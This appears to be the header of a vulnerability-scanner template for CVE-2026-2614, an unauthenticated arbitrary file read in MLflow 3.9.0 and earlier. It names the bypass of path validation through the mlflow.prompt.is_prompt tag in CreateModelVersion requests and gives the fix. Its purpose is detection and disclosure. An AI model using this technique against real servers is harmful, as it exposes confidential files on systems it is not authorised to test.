id: CVE-2026-2614

info:
  name: MLflow <= 3.9.0 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
  remediation: |
    Upgrade to version 3.10.0 or later.
